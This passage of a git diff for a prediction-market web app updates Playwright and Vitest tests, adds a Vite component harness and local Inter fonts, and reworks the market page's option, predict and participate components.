...dialog.querySelectorAll("*")].filter( + (element) => element.scrollHeight > element.clientHeight + 1 && getComputedStyle(element).overflowY === "auto", + ); + for (const scroller of scrollers) scroller.scrollTop = scroller.scrollHeight; + return scrollers.length; + }); + expect(scrolled).toBe(1); + + const shown = await close.evaluate((element) => { + const { left, top, width, height } = element.getBoundingClientRect(); + const hit = document.elementFromPoint(left + width / 2, top + height / 2); + return top >= 0 && hit !== null && element.contains(hit); + }); + expect(shown).toBe(true); +}); + +test("a light button eases named properties, never every one", async ({ page }) => { + await open(page, { view: "mint" }); + const max = page.getByRole("button", { name: "Max" }); + await expect(max).toBeVisible(); + + const properties = await max.evaluate((element) => getComputedStyle(element).transitionProperty); + + expect(properties.split(", ")).not.toContain("all"); + expect(properties).toContain("background-color"); +}); + +for (const { width, inset } of [ + { width: 1280, inset: "32px" }, + { width: 375, inset: "16px" }, +]) { + test(`the trade wallet wears the Predict card's radius, hairline and ${inset} inset at ${width}`, async ({ + page, + }) => { + await page.setViewportSize({ width, height: 800 }); + await open(page, { view: "balances" }); + const wallet = page.getByRole("region", { name: "Trade wallet" }); + + await expect(wallet).toHaveCSS("border-top-left-radius", "12px"); + await expect(wallet).toHaveCSS("padding-left", inset); + await expect(wallet).toHaveCSS("padding-top", "16px"); + const hairline = await wallet.evaluate((element) => getComputedStyle(element, "::before").backgroundImage); + expect(hairline).toContain("linear-gradient"); + }); +} diff --git a/apps/web/e2e/utils/component-harness.ts b/apps/web/e2e/utils/component-harness.ts new file mode 100644 index 00000000..090772f6 --- /dev/null +++ b/apps/web/e2e/utils/component-harness.ts @@ -0,0 +1,53 @@ +import path from "node:path"; + +import { expect, type Page } from "@playwright/test"; +import { createServer, type ViteDevServer } from "vite"; +import svgr from "vite-plugin-svgr"; + +const WEB_ROOT = path.resolve(__dirname, "../.."); + +/** + * Serves `e2e/harness//index.html` with the app's own CSS, aliases and svg + * handling, so a component renders in a real browser without the chain or indexer. + */ +export async function startHarness(name: string): Promise<{ url: string; close: () => Promise }> { + const server: ViteDevServer = await createServer({ + configFile: false, + root: path.join(WEB_ROOT, "e2e/harness", name), + logLevel: "error", + plugins: [svgr({ include: "**/*.svg", exclude: "**/*.svg?url" })], + esbuild: { jsx: "automatic" }, + // next/link reads Next's build flags off process.env, which only Next defines in the browser + define: { "process.env": "{}" }, + resolve: { + alias: { "@": path.join(WEB_ROOT, "src") }, + mainFields: ["module", "browser", "main"], + }, + // postcss.config.mjs, which runs Tailwind over src/ + css: { postcss: WEB_ROOT }, + server: { port: 0 }, + }); + await server.listen(); + const url = server.resolvedUrls?.local[0]; + if (!url) throw new Error(`The ${name} harness did not report a URL.`); + return { url, close: () => server.close() }; +} + +/** Opens a harness page once its Inter faces have loaded, so a layout is measured in the shipped font. */ +export async function openHarness(page: Page, url: string): Promise { + await page.goto(url); + // Vite reloads a page whose first request makes it optimise a dependency, which drops this evaluation + await expect + .poll( + () => + page + .evaluate(() => + Promise.all(["400", "500", "600", "700"].map((weight) => document.fonts.load(`${weight} 16px Inter`))), + ) + .then((faces) => faces.map((found) => found.length)) + .catch(() => []), + // a cold Vite cache re-optimises dependencies before the first face can load + { message: "each Inter weight loads from e2e/harness/inter.css", timeout: 30_000 }, + ) + .toEqual([1, 1, 1, 1]); +} diff --git a/apps/web/package.json b/apps/web/package.json index 38da48cf..0e63b03a 100644 --- a/apps/web/package.json +++ b/apps/web/package.json @@ -5,7 +5,7 @@ "scripts": { "dev": "next dev", "dev:gnosis": "node --env-file=.env.gnosis \"$(yarn bin next)\" dev", - "dev:gnosis-fork": "node --env-file=.env.gnosis-fork \"$(yarn bin next)\" dev", + "dev:gnosis-fork": "node --env-file=.env.gnosis-fork.example --env-file-if-exists=.env.local --env-file-if-exists=.env.gnosis-fork \"$(yarn bin next)\" dev", "build": "next build", "start": "next start", "lint": "eslint . --max-warnings 0", @@ -15,9 +15,11 @@ "codegen": "graphql-codegen", "test": "vitest run", "test:watch": "vitest", - "test:e2e": "playwright test" + "test:e2e": "playwright test", + "test:fork": "FORK_RPC_URL=${FORK_RPC_URL:-http://127.0.0.1:8545} node --env-file=.env.gnosis-fork.example --env-file-if-exists=.env.local --env-file-if-exists=.env.gnosis-fork \"$(yarn bin vitest)\" run predict.fork" }, "dependencies": { + "@fontsource/inter": "5.3.0", "@foresight/contracts": "workspace:*", "@foresight/session-metadata": "workspace:*", "@foresight/tx-orchestrator": "workspace:*", @@ -28,6 +30,7 @@ "@kleros/ui-components-library": "^3.8.0", "@reown/appkit": "^1.8.22", "@reown/appkit-adapter-wagmi": "^1.8.22", + "@seer-pm/lens": "1.5.1", "@tailwindcss/postcss": "^4.3.3", "@tanstack/react-query": "^5.101.3", "@wagmi/core": "^3.6.3", diff --git a/apps/web/playwright.config.ts b/apps/web/playwright.config.ts index ec3d011d..037cae15 100644 --- a/apps/web/playwright.config.ts +++ b/apps/web/playwright.config.ts @@ -4,6 +4,9 @@ import { INDEXER_URL } from "./e2e/fixtures/indexer"; import { MOCK_ATLAS_URL } from "./e2e/utils/ipfs-gateway"; import { LOCAL_RPC_URL } from "./src/config/chains"; +/** Where the app is served; another port runs a second dev server beside one already on 3000. */ +const BASE_URL = process.env.E2E_BASE_URL ?? "http://localhost:3000"; + export default defineConfig({ testDir: "./e2e/tests", // The indexer is not started here: it is a docker stack, and the deploy tests @@ -17,8 +20,8 @@ export default defineConfig({ retries: process.env.CI ? 2 : 0, reporter: "html", use: { - baseURL: "http://localhost:3000", - trace: "on-first-retry", + baseURL: BASE_URL, + trace: process.env.CI ? "on-first-retry" : "retain-on-failure", // The closing-time fields are typed in the browser's time zone; timezoneId: "GMT", }, @@ -37,7 +40,7 @@ export default defineConfig({ }, { command: "yarn dev", - url: "http://localhost:3000", + url: BASE_URL, reuseExistingServer: !process.env.CI, env: { NEXT_PUBLIC_ATLAS_URI: MOCK_ATLAS_URL, diff --git a/apps/web/src/app/layout.tsx b/apps/web/src/app/layout.tsx index 00799516..8aa24ba6 100644 --- a/apps/web/src/app/layout.tsx +++ b/apps/web/src/app/layout.tsx @@ -1,7 +1,5 @@ import type { Metadata } from "next"; -import { Open_Sans } from "next/font/google"; - -import clsx from "clsx"; +import localFont from "next/font/local"; import { AppProviders } from "@/components/providers/AppProviders"; @@ -17,23 +15,25 @@ export const metadata: Metadata = { metadataBase: env.SITE_URL ? new URL(env.SITE_URL) : null, }; -const openSans = Open_Sans({ - variable: "--font-geist-sans", - subsets: ["latin"], +// the same files the component harnesses load (e2e/harness/inter.css) +const inter = localFont({ + variable: "--font-inter", + display: "swap", + src: [ + { path: "../../../../node_modules/@fontsource/inter/files/inter-latin-400-normal.woff2", weight: "400" }, + { path: "../../../../node_modules/@fontsource/inter/files/inter-latin-500-normal.woff2", weight: "500" }, + { path: "../../../../node_modules/@fontsource/inter/files/inter-latin-600-normal.woff2", weight: "600" }, + { path: "../../../../node_modules/@fontsource/inter/files/inter-latin-700-normal.woff2", weight: "700" }, + ], }); export default function RootLayout({ children }: { children: React.ReactNode }) { return ( - + - + {children} diff --git a/apps/web/src/app/market/[parentMarket]/_components/AdvancedSection.tsx b/apps/web/src/app/market/[parentMarket]/_components/AdvancedSection.tsx index 924538aa..8224da09 100644 --- a/apps/web/src/app/market/[parentMarket]/_components/AdvancedSection.tsx +++ b/apps/web/src/app/market/[parentMarket]/_components/AdvancedSection.tsx @@ -1,8 +1,4 @@ -import clsx from "clsx"; - import { ExternalLink } from "@/components/ui/ExternalLink"; -import { SectionCard } from "@/components/ui/SectionCard"; -import { SeerLogo } from "@/components/ui/SeerLogo"; import { DEFAULT_CHAIN } from "@/config/chains"; import { seerMarketUrl } from "@/config/site"; @@ -12,21 +8,8 @@ export function AdvancedSection({ parentMarket }: { parentMarket: string }) { if (!url) return null; return ( - -
-

Advanced

-

- Check the opportunities if you want to LP or Trade specific outcome tokens in Seer.  - Check it out -

-
- -
+

+ Advanced: trade or add liquidity for the outcome tokens on Seer +

); } diff --git a/apps/web/src/app/market/[parentMarket]/_components/MarketPage.tsx b/apps/web/src/app/market/[parentMarket]/_components/MarketPage.tsx index 9d870548..5d056bb5 100644 --- a/apps/web/src/app/market/[parentMarket]/_components/MarketPage.tsx +++ b/apps/web/src/app/market/[parentMarket]/_components/MarketPage.tsx @@ -6,11 +6,18 @@ import type { ReactNode } from "react"; import { isAddress } from "viem"; +import { EstimateActions } from "@/features/predict/components/EstimateActions"; +import { EstimateCsvDialog } from "@/features/predict/components/EstimateCsvDialog"; +import { useEstimateHydration } from "@/features/predict/hooks/useEstimateHydration"; +import { snapEstimate } from "@/features/predict/utils/estimates"; import { useSession } from "@/features/sessions/api/getSession"; import { useSessionChart } from "@/features/sessions/api/getSessionChart"; import { useSessionStats } from "@/features/sessions/api/getSessionStats"; -import { optionNoun } from "@/features/sessions/utils/optionNoun"; +import { useRenderAtClose } from "@/features/sessions/hooks/useRenderAtClose"; +import { latestEstimates } from "@/features/sessions/utils/latestEstimates"; +import { optionNoun, optionNounSingular } from "@/features/sessions/utils/optionNoun"; import { sessionStatus } from "@/features/sessions/utils/toSessionDetail"; +import { TradeWallet } from "@/features/trade-executor/components/TradeWallet/TradeWallet"; import { paths } from "@/config/paths"; @@ -19,6 +26,8 @@ import { OptionCard } from "./OptionCard"; import { ParticipateSection } from "./ParticipateSection"; import { PredictCard } from "./PredictCard"; import { SessionHeader } from "./SessionHeader"; +import { toWalletMarket } from "./toWalletMarket"; +import { useOptionPositions } from "./useOptionPositions"; const SessionChart = dynamic(() => import("@/features/sessions/components/SessionChart").then((m) => m.SessionChart), { ssr: false, @@ -29,6 +38,9 @@ export function MarketPage({ parentMarket }: { parentMarket: string }) { const session = useSession(parentMarket); const stats = useSessionStats(session.data?.id); const chart = useSessionChart(session.data ?? undefined); + const positions = useOptionPositions(session.data ?? undefined); + useRenderAtClose(session.data?.closesAt); + useEstimateHydration(); if (!isAddress(parentMarket, { strict: false }) || session.data === null) { return ( @@ -54,33 +66,72 @@ export function MarketPage({ parentMarket }: { parentMarket: string }) { } const detail = session.data; + const status = sessionStatus(detail, new Date()); + const noun = optionNoun(detail.itemNamePlural); + const walletMarket = toWalletMarket(detail); + // the pool's number is an unbounded float; held on each option's grid so "at the market" is exact + const latest = chart.data ? latestEstimates(chart.data) : {}; + const marketEstimates = Object.fromEntries( + detail.options.flatMap((option) => { + const raw = latest[option.market.toLowerCase()]; + return raw === undefined ? [] : [[option.market.toLowerCase(), snapEstimate(raw, option)]]; + }), + ) as Record; return ( - + {chart.isPending ? ( + ) : chart.isError ? ( +

Could not load the price history. Reload in a moment.

) : chart.data !== undefined ? ( ) : null} -
+
{detail.options.map((option) => ( - + ))} - +
+ + +
+ + {walletMarket ? : null} -
+
); } @@ -122,7 +173,7 @@ function PageMessage({ title, hint }: { title: string; hint: string }) {

{title}

{hint}

- + Browse sessions
diff --git a/apps/web/src/app/market/[parentMarket]/_components/OptionCard.tsx b/apps/web/src/app/market/[parentMarket]/_components/OptionCard.tsx index 25d17499..7a6df283 100644 --- a/apps/web/src/app/market/[parentMarket]/_components/OptionCard.tsx +++ b/apps/web/src/app/market/[parentMarket]/_components/OptionCard.tsx @@ -1,84 +1,126 @@ -import { Accordion, CustomAccordion, Slider } from "@kleros/ui-components-library"; import clsx from "clsx"; +import { EstimateSlider } from "@/features/predict/components/EstimateSlider"; +import { PositionRow } from "@/features/predict/components/PositionRow"; +import { useEstimate, useEstimateStore } from "@/features/predict/stores/estimateStore"; +import { estimateDirection } from "@/features/predict/utils/estimates"; +import type { OptionPosition } from "@/features/predict/utils/position"; import { DisplayBlocks } from "@/features/sessions/components/DisplayBlocks"; -import type { SessionOption } from "@/features/sessions/types"; +import type { SessionOption, SessionStatus } from "@/features/sessions/types"; -import MinusOutline from "@/assets/svg/minus-outline.svg"; +import { Disclosure } from "@/components/ui/Disclosure"; -import { formatEstimate } from "@/utils/formatEstimate"; +import CheckCircle from "@/assets/svg/check-circle.svg"; +import MinusOutline from "@/assets/svg/minus-outline.svg"; -export function OptionCard({ option }: { option: SessionOption }) { - return ( - div]:my-0", - )} - items={[{ title: , body: }]} - /> - ); +interface OptionCardProps { + option: SessionOption; + parentMarket: string; + status: SessionStatus; + /** Where the market sits now; undefined where the option has no trading. */ + marketEstimate: number | undefined; + isMarketPending: boolean; + /** True when the market numbers could not be fetched at all, as opposed to this option having none. */ + isMarketUnavailable?: boolean; + /** What the trade wallet holds of this option; undefined when it holds none. */ + position?: OptionPosition; + collateralDecimals?: number; } -function TitleRow({ option }: { option: SessionOption }) { +const LOCKED: Partial> = { + "setting-up": "Opens once the session is set up.", + closed: "Trading has closed.", +}; + +export function OptionCard({ + option, + parentMarket, + status, + marketEstimate, + isMarketPending, + isMarketUnavailable = false, + position, + collateralDecimals = 18, +}: OptionCardProps) { + const value = useEstimate(parentMarket, option.market); + const setEstimate = useEstimateStore((state) => state.setEstimate); + const clearEstimate = useEstimateStore((state) => state.clearEstimate); + + const direction = + value !== undefined && marketEstimate !== undefined ? estimateDirection(value, marketEstimate) : null; + return ( -
-
-
- -

{option.name}

-
+ } + > +
+ {option.upperBound > option.lowerBound ? ( + setEstimate(parentMarket, option.market, next)} + onClear={() => clearEstimate(parentMarket, option.market)} + lockedReason={ + LOCKED[status] ?? (isMarketUnavailable ? "Could not load the market. Reload in a moment." : undefined) + } + /> + ) : ( +

{"This option's range could not be read."}

+ )} + {position ? ( + + ) : null} + span]:text-fs-text-secondary", + )} + bodyClassName="px-0 pt-2 pb-0 md:px-0 md:pt-2 md:pb-0" + glyph="chevron" + title={Details} + > +
+

{option.question}

+ +
+
- -
+ ); } -function Body({ option }: { option: SessionOption }) { - const hasScale = option.upperBound > option.lowerBound; - +function TitleRow({ option, isSet }: { option: SessionOption; isSet: boolean }) { return ( -
-
- {hasScale ? ( - <> - formatEstimate(value, option.unit)} - callback={() => {}} - isDisabled - /> -

Setting estimates is not available yet.

- - ) : ( -

The scale for this option could not be read.

- )} +
+
+ +

{option.name}

- -

{option.question}

- -
- ), - }, - ]} - /> + {isSet ? ( + + ) : ( + + )}
); } diff --git a/apps/web/src/app/market/[parentMarket]/_components/ParticipateSection.tsx b/apps/web/src/app/market/[parentMarket]/_components/ParticipateSection.tsx index 2a4d0a22..b2d79c36 100644 --- a/apps/web/src/app/market/[parentMarket]/_components/ParticipateSection.tsx +++ b/apps/web/src/app/market/[parentMarket]/_components/ParticipateSection.tsx @@ -1,34 +1,16 @@ -import { Button } from "@kleros/ui-components-library"; - import type { SessionDetail } from "@/features/sessions/types"; import { optionNoun } from "@/features/sessions/utils/optionNoun"; -import { TradeWallet } from "@/features/trade-executor/components/TradeWallet/TradeWallet"; - -import { SectionCard } from "@/components/ui/SectionCard"; - -import { toWalletMarket } from "./toWalletMarket"; +/** The section's heading and the one sentence that says what to do in it. */ export function ParticipateSection({ session }: { session: SessionDetail }) { const noun = optionNoun(session.itemNamePlural); - const market = toWalletMarket(session); return ( -
-

Participate

- - {market ? : null} - - -

- Set estimates for the {noun} below.
- You can choose how many {noun} you want to predict.
- Note that the same capital can be used to predict on all {noun} at once. -

-
- -
-
-
+
+

Participate

+

+ Set an estimate for each of the {noun} you want to predict. One amount backs all of them. +

+
); } diff --git a/apps/web/src/app/market/[parentMarket]/_components/PredictCard.tsx b/apps/web/src/app/market/[parentMarket]/_components/PredictCard.tsx index 44d06bdd..8defa71d 100644 --- a/apps/web/src/app/market/[parentMarket]/_components/PredictCard.tsx +++ b/apps/web/src/app/market/[parentMarket]/_components/PredictCard.tsx @@ -1,19 +1,414 @@ +"use client"; + +import dynamic from "next/dynamic"; +import { useEffect, useRef, useState } from "react"; + import { Button } from "@kleros/ui-components-library"; import clsx from "clsx"; +import type { Address } from "viem"; +import { useAccount } from "wagmi"; + +import type { PredictSnapshot } from "@/features/predict/flow/types"; +import { + discardRun, + findInterruptedRun, + hasPendingTransaction, + predictRunStore, + predictFlowId, +} from "@/features/predict/run/interrupted"; +import { tabOwnership } from "@/features/predict/run/ownership"; +import { useSessionEstimates } from "@/features/predict/stores/estimateStore"; +import type { SelectedEstimate } from "@/features/predict/types"; +import { selectedEstimates } from "@/features/predict/utils/estimates"; +import { PROMPT_OPEN, RUNNING_ELSEWHERE } from "@/features/predict/utils/predictSteps"; +import type { SessionDetail, SessionStatus } from "@/features/sessions/types"; +import { optionNoun, optionNounSingular } from "@/features/sessions/utils/optionNoun"; import { SectionCard } from "@/components/ui/SectionCard"; +import EnsureChain from "@/components/wallet/EnsureChain"; + +import { ownedAmount } from "@/utils/amount"; +import { formatEstimate } from "@/utils/formatEstimate"; +import { INERT } from "@/utils/inert"; + +import { type PredictBlocker, predictBlocker } from "./predictBlocker"; +import type { PlacedPrediction } from "./PredictSuccessView"; +import { usePredictDock } from "./usePredictDock"; + +// The run pulls in the orchestrator, the quoter and a chain client; none of that belongs on the +// page until someone asks to predict. +const PredictRunner = dynamic(() => import("./PredictRunner").then((module) => module.PredictRunner), { ssr: false }); + +const PredictSuccessDialog = dynamic( + () => import("./PredictSuccessDialog").then((module) => module.PredictSuccessDialog), + { ssr: false }, +); + +const CTA = "predict-cta predict-card-cta"; + +/** How often a held run is asked about again, since letting go of it writes nothing. */ +const HELD_ELSEWHERE_POLL_MS = 2_000; + +// a stored run's reason is said in the run's own row, beside its Resume +const blockerText = (blocker: Exclude, noun: string): string => + ({ + closed: "Trading has closed.", + "no-liquidity": `None of the ${noun} can be traded yet.`, + "no-move": "Set an estimate above or below the market to predict.", + disconnected: "Connect a wallet to predict.", + })[blocker]; + +interface PredictCardProps { + session: SessionDetail; + status: SessionStatus; + marketEstimates: Record; + /** True while the market numbers are loading or failed; an empty `marketEstimates` says nothing then. */ + isMarketUnknown?: boolean; +} + +export function PredictCard({ session, status, marketEstimates, isMarketUnknown = false }: PredictCardProps) { + // what the popup lists, held from the press so a market refresh cannot empty it under the visitor + const [opened, setOpened] = useState(); + const isOpen = opened !== undefined; + const [isSuccessOpen, setIsSuccessOpen] = useState(false); + const [leftOut, setLeftOut] = useState([]); + const [placedRun, setPlacedRun] = useState(); + const { address } = useAccount(); + // what this page last placed, by owner and lower-case market + const [placed, setPlaced] = useState<{ owner: Address; values: Record }>(); + // the stored run as last read, and for which wallet; unread until the effect below runs for this one + const [stored, setStored] = useState<{ owner: Address | undefined; run: PredictSnapshot | null }>(); + const interrupted = stored && stored.owner === address ? stored.run : undefined; + const [isPending, setIsPending] = useState(false); + const [reads, setReads] = useState(0); + // whether another open tab drives the stored run; unknown until a tab is asked + const [heldElsewhere, setHeldElsewhere] = useState(); + // whether this tab holds it for a wallet prompt a closed popup left open + const [heldHere, setHeldHere] = useState(false); + const asked = useRef(0); + const isHeld = heldElsewhere !== false; + + const readStored = (isClosing = false) => { + const store = predictRunStore(); + const run = address ? findInterruptedRun(store, session.id, address) : null; + setStored({ owner: address, run }); + setIsPending(address ? hasPendingTransaction(store, session.id, address) : false); + const ask = ++asked.current; + if (!run || !address) { + setHeldElsewhere(false); + setHeldHere(false); + return; + } + const flowId = predictFlowId(session.id, address); + // the closing popup's driver holds the run until it unmounts; the read after that sets it + if (!isClosing) setHeldHere(tabOwnership().heldHere(flowId)); + void tabOwnership() + .heldElsewhere(flowId) + .then((held) => { + if (asked.current === ask) setHeldElsewhere(held); + }); + }; + + // read after mount and after the popup, which may have finished or discarded the run; while it is open the card + // keeps the run as last read, so Resume does not light up Predict behind it + useEffect(() => { + if (!isOpen) readStored(); + // eslint-disable-next-line react-hooks/exhaustive-deps -- readStored reads only address and session.id + }, [address, isOpen, session.id, reads]); + + // another tab's run lives in the same storage; a null key is a clear of all of it + useEffect(() => { + if (!address) return; + const flowId = predictFlowId(session.id, address); + const onStorage = (event: StorageEvent) => { + if (event.key === null || event.key.endsWith(`.${flowId}`)) setReads((count) => count + 1); + }; + window.addEventListener("storage", onStorage); + return () => window.removeEventListener("storage", onStorage); + }, [address, session.id]); + + // a tab that closes or lets go of the run writes nothing, so a held run is asked about again + useEffect(() => { + if (!interrupted || !(heldElsewhere || heldHere)) return; + const timer = setInterval(() => setReads((count) => count + 1), HELD_ELSEWHERE_POLL_MS); + return () => clearInterval(timer); + }, [interrupted, heldElsewhere, heldHere]); + + // re-read rather than clear: discardRun keeps a run whose transaction awaits a receipt. The run is held for the + // read and the delete, so no other tab can start signing it in between + const discard = async () => { + const letGo = address ? await tabOwnership().claim(predictFlowId(session.id, address)) : null; + if (address && letGo) { + try { + discardRun(predictRunStore(), session.id, address); + } finally { + letGo(); + } + } + setReads((count) => count + 1); + }; + + // read in the same commit that closes the popup, so the card never shows a run the popup has since finished + const closePopup = () => { + readStored(true); + setOpened(undefined); + }; + + const runShown = (run: PredictSnapshot) => { + const deposit = run.depositNative + ? `${ownedAmount(run.deposit, 18)} xDAI` + : `${ownedAmount(run.deposit, session.collateralDecimals ?? 18)} ${session.collateralSymbol ?? "sDAI"}`; + const parts = [ + ...(run.deposit > 0n ? [`a deposit of ${deposit}`] : []), + ...(run.creditsToSpend > 0n ? [`${ownedAmount(run.creditsToSpend, 18)} in credits`] : []), + ]; + return parts.length > 0 + ? `A prediction with ${parts.join(" and ")} did not finish.` + : "A prediction did not finish."; + }; + + const estimates = useSessionEstimates(session.parentMarket); + const selected = selectedEstimates(session.options, estimates, marketEstimates); + // a stored run is resumed or discarded before a new one starts; unread counts as stored + const isDisabled = selected.length === 0 || status !== "trading" || !address || interrupted !== null; + const blocker = predictBlocker({ + status, + options: session.options, + marketEstimates, + isMarketUnknown, + selectedCount: selected.length, + isConnected: Boolean(address), + hasStoredRun: Boolean(interrupted), + }); + const changed = selected.filter( + (estimate) => placed?.owner !== address || placed?.values[estimate.scale.market.toLowerCase()] !== estimate.value, + ); + // with nothing changed, the same estimates can still be backed with more funds + const toPredict = changed.length > 0 ? changed : selected; + + // the phone dock carries only a live Predict; otherwise the card stays in the page and says why + const isLive = !isDisabled && blocker === null && interrupted === null; + const content = toPredict.map((estimate) => `${estimate.scale.market}:${estimate.value}`).join(); + const dock = usePredictDock(isLive, content); + const isDocked = dock.isDocked; + // a leaving bar sinks as it was while live, not as the card it leaves behind + const [lastLive, setLastLive] = useState<{ content: string; picks: SelectedEstimate[] }>(); + if (isLive && lastLive?.content !== content) setLastLive({ content, picks: toPredict }); + const isLeaving = dock.phase === "leaving"; + const shown = isLeaving ? (lastLive?.picks ?? []) : toPredict; + const pausedRun = isLeaving ? null : interrupted; + + const count = `${shown.length} ${shown.length === 1 ? "estimate" : "estimates"}`; + const predict = (text: string) => { + const button = ( +
+
+ {blocker && blocker !== "unfinished" && !isLeaving ? ( +

+ {blockerText(blocker, optionNoun(session.itemNamePlural))} +

+ ) : null} + + {pausedRun ? ( +
+

+ {runShown(pausedRun)} + {heldElsewhere ? ` ${RUNNING_ELSEWHERE}` : null} + {heldHere && !heldElsewhere ? ` ${PROMPT_OPEN}` : null} + {isPending && !heldElsewhere ? " A transaction from it may still be pending." : null} + {/* a run whose transaction awaits a receipt offers no Discard */} + {blocker === "unfinished" && !heldElsewhere && !heldHere + ? isPending + ? " Resume it before starting a new one." + : " Resume or discard it before starting a new one." + : null} +

+
+ {isPending || heldElsewhere ? null : ( +
+
+
+
+ + ) : null} + + {/* outside the chain gate, so a wallet switching away mid-run does not unmount the run */} + {isOpen ? ( + { + if (address) { + const traded = opened.filter((estimate) => !leftOut.includes(estimate.scale.market)); + setPlaced({ + owner: address, + values: { + ...(placed?.owner === address ? placed.values : {}), + ...Object.fromEntries( + traded.map((estimate) => [estimate.scale.market.toLowerCase(), estimate.value]), + ), + }, + }); + } + setLeftOut( + session.options.filter((option) => leftOut.includes(option.market)).map((option) => option.name), + ); + setPlacedRun(run); + closePopup(); + setIsSuccessOpen(true); + }} + /> + ) : null} + {isSuccessOpen ? ( + setIsSuccessOpen(false)} + /> + ) : null} + + + ); +} + +const SHOWN_WIDE = 3; +const SHOWN_NARROW = 2; +const SHOWN_PINNED = 1; + +/** + * The picks Predict would send, as chips: three from lg up, two below, and a count of the rest. The pinned phone bar + * keeps one chip by CSS alone, so the markup, and the height it takes docked, is the same pinned or not. + */ +function Picks({ selected }: { selected: SelectedEstimate[] }) { + const more = (shown: number) => selected.length - shown; + const morePill = (shown: number, className: string) => + more(shown) > 0 ? ( +
  • + {`+${more(shown)}`} +
  • + ) : null; -export function PredictCard() { return ( - -

    Predict all the estimates above

    - + )} + + + ); +} diff --git a/apps/web/src/app/market/[parentMarket]/_components/SessionHeader.tsx b/apps/web/src/app/market/[parentMarket]/_components/SessionHeader.tsx index 83a2334a..0e70bdbe 100644 --- a/apps/web/src/app/market/[parentMarket]/_components/SessionHeader.tsx +++ b/apps/web/src/app/market/[parentMarket]/_components/SessionHeader.tsx @@ -1,3 +1,7 @@ +"use client"; + +import { useState } from "react"; + import { AlertMessage } from "@kleros/ui-components-library"; import clsx from "clsx"; @@ -35,6 +39,9 @@ export function SessionHeader({ stats: SessionStats | undefined; statsPending: boolean; }) { + // a gateway that cannot serve an image leaves the gradient and no icon, not a broken image + const [heroFailed, setHeroFailed] = useState(false); + const [iconFailed, setIconFailed] = useState(false); const volume = stats ? collateralVolume(session, stats.volumeUnderlying) : null; const explorer = explorerAddressUrl(session.parentMarket, DEFAULT_CHAIN); @@ -64,10 +71,14 @@ export function SessionHeader({
    - {session.iconUri ? ( + {session.heroUri && !heroFailed ? ( + // eslint-disable-next-line @next/next/no-img-element -- a hidden probe: a CSS background reports no load failure + setHeroFailed(true)} /> + ) : null} + {session.iconUri && !iconFailed ? ( {/* eslint-disable-next-line @next/next/no-img-element -- the gateway is env-configured, so no static remotePattern can cover it */} - + setIconFailed(true)} + /> ) : null}
    diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/MarketPage.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/MarketPage.test.tsx index d8317db4..35fb8d24 100644 --- a/apps/web/src/app/market/[parentMarket]/_components/__tests__/MarketPage.test.tsx +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/MarketPage.test.tsx @@ -1,3 +1,5 @@ +import type { ReactNode } from "react"; + import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; import { act, render, screen } from "@testing-library/react"; import type { DocumentNode, OperationDefinitionNode } from "graphql"; @@ -12,12 +14,22 @@ import { addresses } from "@/testing/fixtures"; import { MarketPage } from "../MarketPage"; +vi.mock("@/lib/web3/public-client", () => ({ publicClient: {} })); +vi.mock("@/features/sessions/api/verifySession", () => ({ + verifySession: async (_client: unknown, _chain: number, row: unknown) => row, +})); vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); /* The factory cannot reference imports, so GATEWAY's value is restated. */ vi.mock("@/config/ipfs", () => ({ IPFS_GATEWAY: "https://cdn.example.link/ipfs" })); /* The wallet reaches wagmi and the RPC config, neither of which this page's tests supply. */ vi.mock("@/features/trade-executor/components/TradeWallet/TradeWallet", () => ({ - TradeWallet: () => null, + TradeWallet: ({ noun }: { noun: string }) =>

    {noun}

    , +})); +vi.mock("../useOptionPositions", () => ({ useOptionPositions: () => ({}) })); +vi.mock("@/components/wallet/EnsureChain", () => ({ default: ({ children }: { children: ReactNode }) => children })); +vi.mock("wagmi", async (importOriginal) => ({ + ...(await importOriginal()), + useAccount: () => ({ address: undefined }), })); const fetchMock = vi.mocked(fetchGraphql); @@ -27,13 +39,13 @@ const sessionResult = { Session: [{ ...sessionDetailColumns, children: [] }] }; const queryName = (document: DocumentNode) => document.definitions.find((d): d is OperationDefinitionNode => d.kind === "OperationDefinition")?.name?.value; -/** Answers each query by name; the chart's answer (or a promise of it) comes from the caller. */ -function answerQueries(chart: unknown) { +/** Answers each query by name; the chart's answer is built per call, so a rejection exists only once a query adopts it. */ +function answerQueries(chart: () => unknown) { fetchMock.mockImplementation(async (document) => { if (queryName(document) === "SessionDetail") { return { Session: [{ ...sessionDetailColumns, children: [sessionChildRow()] }] }; } - if (queryName(document) === "SessionChart") return chart; + if (queryName(document) === "SessionChart") return chart(); return { Prediction: [], Pool: [] }; }); } @@ -93,12 +105,139 @@ describe("MarketPage", () => { /* The chart itself is canvas: rendered states would need the real component under jsdom or a stub asserting its own scaffolding, so they are verified live instead. */ + it("says the price history failed instead of drawing nothing", async () => { + answerQueries(() => Promise.reject(new Error("boom"))); + + renderPage(); + + expect(await screen.findByText("Could not load the price history. Reload in a moment.")).toBeInTheDocument(); + }); + it("holds the chart's place while the price history loads", async () => { - answerQueries(new Promise(() => {})); + answerQueries(() => new Promise(() => {})); const { container } = renderPage(); await screen.findByRole("heading", { level: 1, name: "Dune: Part Three, director" }); expect(container.querySelector('[aria-busy="true"]')).not.toBeNull(); }); + + it("gives no two elements on the session page the same expand-button id", async () => { + fetchMock.mockImplementation(async (document) => + queryName(document) === "SessionDetail" + ? { + Session: [ + { + ...sessionDetailColumns, + children: [ + sessionChildRow(), + sessionChildRow({ + id: addresses.childMarkets[1], + parentOutcomeIndex: "0", + displayName: "Denis Villeneuve", + }), + ], + }, + ], + } + : { Prediction: [], Pool: [] }, + ); + + renderPage(); + await screen.findByRole("heading", { name: "Denis Villeneuve" }); + + expect(document.querySelectorAll("#expand-button").length).toBeLessThanOrEqual(1); + }); +}); + +describe("MarketPage's trade wallet", () => { + function answerItemName(itemName: string) { + fetchMock.mockImplementation(async (document) => { + if (queryName(document) === "SessionDetail") { + return { Session: [{ ...sessionDetailColumns, itemName, children: [sessionChildRow()] }] }; + } + return { Prediction: [], Pool: [], SessionChart: [] }; + }); + } + + it.each([ + ["Director", "director"], + ["US State", "US state"], + ["NBA Team", "NBA team"], + ])("names the options in the singular, %s in a sentence as %s", async (itemName, noun) => { + answerItemName(itemName); + renderPage(); + + expect(await screen.findByTestId("trade-wallet-noun")).toHaveTextContent(new 